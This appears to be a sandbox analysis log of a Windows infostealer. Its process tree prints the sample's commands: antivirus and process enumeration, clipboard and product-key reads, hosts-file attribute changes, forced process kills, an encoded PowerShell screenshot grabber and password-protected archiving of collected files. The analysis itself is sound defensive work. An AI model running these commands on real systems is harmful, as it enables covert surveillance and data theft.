C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
-
C:\Windows\system32\tree.comtree /A /F4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵
-
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"3⤵
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mpn22sbu\mpn22sbu.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD3A.tmp" "c:\Users\Admin\AppData\Local\Temp\mpn22sbu\CSC97481B80FC924C529562E6F57F1F12.TMP"6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
-
C:\Windows\system32\tree.comtree /A /F4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"3⤵
-
C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts4⤵
- Drops file in Drivers directory
- Views/modifies file attributes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
-
C:\Windows\system32\tree.comtree /A /F4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"3⤵
-
C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts4⤵
- Drops file in Drivers directory
- Views/modifies file attributes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
-
C:\Windows\system32\tree.comtree /A /F4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
-
C:\Windows\system32\tree.comtree /A /F4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
-
C:\Windows\system32\tree.comtree /A /F4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1904"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 19044⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 728"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 7284⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2404"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 24044⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1904"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 19044⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4272"3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 42724⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 728"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 7284⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 384"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 3844⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2404"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 24044⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4440"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 44404⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4272"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 42724⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 384"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 3844⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2040"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 20404⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 4440"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 44404⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 3248"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 32484⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 2040"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 20404⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1760"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 17604⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 3248"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 32484⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5292"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 52924⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 1760"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 17604⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /PID 5292"3⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID 52924⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "getmac"3⤵
-
C:\Windows\system32\getmac.exegetmac4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI18202\rar.exe a -r -hp"blockiscool" "C:\Users\Admin\AppData\Local\Temp\XM8Ts.zip" *"3⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI18202\rar.exeC:\Users\Admin\AppData\Local\Temp\_MEI18202\rar.exe a -r -hp"blockiscool" "C:\Users\Admin\AppData\Local\Temp\XM8Ts.zip" *4⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get Caption"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic os get Caption4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get totalphysicalmemory4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER4⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault4⤵
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD54f7152bc5a1a715ef481e37d1c791959
SHA1c8a1ed674c62ae4f45519f90a8cc5a81eff3a6d7
SHA256704dd4f98d8ca34ec421f23ba1891b178c23c14b3301e4655efc5c02d356c2bc
SHA5122e6b02ca35d76a655a17a5f3e9dbd8d7517c7dae24f0095c7350eb9e7bdf9e1256a7009aa8878f96c89d1ea4fe5323a41f72b8c551806dda62880d7ff231ff5c
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5ea98e583ad99df195d29aa066204ab56
SHA1f89398664af0179641aa0138b337097b617cb2db
SHA256a7abb51435909fa2d75c6f2ff5c69a93d4a0ab276ed579e7d8733b2a63ffbee6
SHA512e109be3466e653e5d310b3e402e1626298b09205d223722a82344dd78504f3c33e1e24e8402a02f38cd2c9c50d96a303ce4846bea5a583423937ab018cd5782f
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD58287f3138f3b12243cd985468d5e9c9e
SHA1cdc96bb898078531a724673a4ecc3e46f7ad82ca
SHA2560678ace14c39e8b2562ebafae1710644308a961c757c7862114fbb2bfb39383e
SHA5125c570d5ea9473e0f2ca2909473b60df0a6433d56c7aa143cff6879fe86143fddf03ff74c3ab997c32ae6872563f11440dec8f7cf55d5122e031dce64188fd0db
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PreferencesFilesize
5KB
MD5f4a8ff52d8adb092e1300800a740dea3
SHA1cbb738169425a0879e5f2ca9a7930be10051ecdd
SHA256cea97ea93500a09e5978b3bfbcd0dbdbe503319989e1e56e074336f57c0784f2
SHA51274b3bcd4d0444b90c2d0011208fc03767381a60955bf0cbee89e47184bf244fe477741703513274baf63ecf06853f7597db5054356d264aa0ac68ce4401a9266
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENTFilesize
16B
MD56752a1d65b201c13b62ea44016eb221f
SHA158ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA2560861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
SHA5129cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\f101fbf3-7348-45f1-a15d-241265583d04.tmpFilesize
6KB
MD51be2675c6d4543e94918c503f017ec87
SHA1a765e2e75242eced0364dbeaff1342b3a9d7bbbb
SHA256560965f5e7227cd765431f11dff7504bacc3b5a03409fe65bc73e517d0de082d
SHA5124eb26eca366cfcec4b12b415e7e8c97d8a1fc325c041f90d80f28ea858ce25f6671a60ec669e719fbbf91fca5b325664ad6f2b8fa8a52d6a43f2bf973496f368
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local StateFilesize
11KB
MD557575da8a1e5f3da81621e70c09df625
SHA166d9038f3eb7237b7aaa4f9b89ccc022ae889791
SHA256737b6e9b70877d061ce7e93cbfe1a65d10830514ea712e404393ca8f55e8f57b
SHA512740e0e4d0e9d0bc2d30133598fbf7ac9ff3e5e562801a6be425ee6396f2cfe7f51833b42f5262f8bf2d915c4d7691f14b4937989323bd4f8c0de5c2e983bdb64
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local StateFilesize
11KB
MD58865dd651c84b553f5538dc418262018
SHA1fd83d922d477529da7797936497a4b0c71ab4ea7
SHA256903f35a6ec2cdfa38381bc6f82dd155df323b5f67528a9b31f09a5e6eae9a7cf
SHA512eb2dec458d03cc00febedafde8e0fbdce0863a05f8da8bd660a159e435a6603cb74306d156844571ffc6803267a340084b5bfebbcfca2a505b34d1cd02a15c89
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local StateFilesize
11KB
MD52e68444ef5232ce3ea66ab302333c81d
SHA199f7335fc76c5cd6df73294f9b85dbb7ab9785c5
SHA2567da27a8dd818e180cbcf4dd02b527c2a929484264deefefcafee391923f908ae
SHA512834ac15f67b1f82acdf841305df9f39178a22b1f50bff13a3dbee9cb97324847209f0445ee9461be42b636836d916aa203ca2ee91c0347837cd3f965c279801a
-
C:\Users\Admin\AppData\Local\Temp\_MEI18202\VCRUNTIME140.dllFilesize
116KB
MD5be8dbe2dc77ebe7f88f910c61aec691a
SHA1a19f08bb2b1c1de5bb61daf9f2304531321e0e40
SHA2564d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
SHA5120da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655
-
